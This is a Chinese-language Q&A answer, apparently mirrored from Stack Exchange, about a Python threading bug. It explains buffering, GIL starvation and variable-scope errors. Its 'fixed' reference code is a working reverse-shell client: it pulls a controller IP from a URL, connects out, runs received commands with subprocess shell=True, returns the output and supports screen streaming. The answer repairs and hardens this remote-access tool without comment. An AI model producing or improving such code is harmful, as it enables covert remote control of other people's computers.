Python Threading并发启动两函数时首个函数未执行问题
问题根因
Python没有跳过ip_spoofer线程的执行,你看到的现象是三个问题叠加导致的:
- 标准输出缓冲问题:Python的
print默认带输出缓冲,ip_spoofer里的print("gg")没有强制刷新缓冲区,加上另一个线程疯狂抢占输出流,这条输出被卡在缓冲区根本没打印到控制台,不是函数没执行。 - GIL抢占问题:
hello函数里的内层while死循环没有任何等待/休眠逻辑,会以CPU最高负载无停顿运行,疯狂抢占Python全局解释器锁(GIL),刚启动的ip_spoofer线程几乎拿不到执行时间片,长期处于阻塞状态。 - 代码逻辑错误:
- 你写的
if 'ip_spoofer.REMOTE_HOST' in locals():永远不会成立,locals()仅返回当前hello函数作用域的局部变量,不可能拿到其他函数内部的局部变量,这个判断恒为False,直接导致hello线程永远卡在这个死循环里空转。 ip_spoofer里的REMOTE_HOST是函数内部局部变量,就算线程正常运行,你用ip_spoofer.REMOTE_HOST的访问方式也会直接抛出属性错误,而你写的裸except会吞掉所有异常,连报错信息都看不到。- 外层
except里递归调用hello()的写法会在多次异常后触发递归深度超限爆栈。
- 你写的
修复方案
按以下要点修改即可解决问题:
- 跨线程共享的
REMOTE_HOST不要存为函数局部变量,改用全局变量(或线程安全的队列/共享对象)存储,解决跨作用域访问问题。 - 所有无实际业务逻辑的空转死循环必须加短时间休眠(比如
time.sleep(0.1)),主动让出GIL给其他线程执行,避免单线程占满CPU资源。 - 调试阶段的
print语句加上flush=True参数,强制立即刷新输出缓冲区,避免日志被缓冲看不到。 - 去掉裸
except,捕获异常时打印错误信息方便排查,用循环重连代替异常里递归调用函数,避免爆栈。 - 主线程加保活逻辑,避免主线程退出后子线程被强制终止。
修复后的参考代码:
import threading import requests import time import socket import subprocess # 跨线程共享变量用全局变量存储,初始设为None REMOTE_HOST = None def ip_spoofer(): global REMOTE_HOST while True: print("gg", flush=True) # 加flush=True强制刷新输出 try: REMOTE_BUFFER = requests.get('MY_URL', timeout=10).json() REMOTE_HOST = REMOTE_BUFFER['ip'] except Exception as e: print(f"ip_spoofer请求出错: {e}", flush=True) time.sleep(60) # 每分钟拉取一次配置 def hello(): REMOTE_PORT = 8081 while True: # 用外层循环代替异常递归,避免爆栈 try: client = socket.socket() while True: print('hey', flush=True) # 直接判断全局REMOTE_HOST是否已被赋值 if REMOTE_HOST is not None: print('bye', flush=True) client.connect((REMOTE_HOST, REMOTE_PORT)) break time.sleep(0.1) # 空转时主动让出GIL while True: command = client.recv(1024) if not command: break command = command.decode() if command == 'KEY_SCREEN': sender = ScreenShareClient(REMOTE_HOST, REMOTE_PORT) sender.start_stream() else: output = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE) out, err = output.communicate() client.send(out + err) except Exception as e: print(f"hello线程出错: {e}, 5秒后重连", flush=True) time.sleep(5) if __name__ == "__main__": threading.Thread(target=ip_spoofer, daemon=True).start() threading.Thread(target=hello, daemon=True).start() # 主线程保活 while True: time.sleep(1)
补充说明
你之前的代码里hello线程的内层循环没有休眠,运行时会直接占满单个CPU核心,在GIL的调度机制下,其他线程拿到的执行时间片会被压缩到几乎可以忽略,这是ip_spoofer看起来“没执行”的最核心原因。多线程场景下不要写无任何等待的纯CPU空转死循环,否则会直接破坏多线程的调度公平性。
内容的提问来源于stack exchange,提问作者Mouad Essalim
相关产品推荐
相关产品推荐

